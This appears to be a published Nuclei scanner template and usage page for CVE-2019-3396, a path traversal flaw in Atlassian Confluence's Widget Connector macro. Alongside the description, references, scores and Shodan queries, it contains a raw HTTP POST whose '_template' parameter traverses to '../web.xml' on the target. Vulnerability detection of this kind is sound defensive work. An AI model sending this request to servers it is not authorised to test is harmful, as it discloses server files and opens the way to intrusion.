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Atlassian Confluence Server - Path Traversal

ID: CVE-2019-3396

Severity: critical

Author: harshbothra_

Tags: cve,cve2019,atlassian,confluence,lfi,rce,kev,packetstorm

The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

id: CVE-2019-3396
info:
name: Atlassian Confluence Server - Path Traversal
author: harshbothra_
severity: critical
description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
remediation: |
Apply the necessary security patches or upgrade to a patched version of Atlassian Confluence Server to mitigate this vulnerability.
reference:
- https://github.com/x-f1v3/CVE-2019-3396
- https://nvd.nist.gov/vuln/detail/CVE-2019-3396
- https://jira.atlassian.com/browse/CONFSERVER-57974
- http://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-3396
cwe-id: CWE-22
epss-score: 0.97508
epss-percentile: 0.9998
cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: confluence
shodan-query:
- http.component:"Atlassian Confluence"
- cpe:"cpe:2.3:a:atlassian:confluence"
- http.component:"atlassian confluence"
tags: cve,cve2019,atlassian,confluence,lfi,rce,kev,packetstorm
http:
- raw:
- |
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {{Hostname}}
Referer: {{Hostname}}
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
matchers-condition: and
matchers:
- type: word
words:
- "<param-name>contextConfigLocation</param-name>"
- type: status
status:
- 200
# digest: 4b0a004830460221008586855d34e4ffd5a80fbc0150505aff9effe2b539b1700c3b7d47486a34e73a022100f41cab167179b55470149e1456131506fbf471ae8779499bd7f1aebd5a253840:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-3396.yaml"

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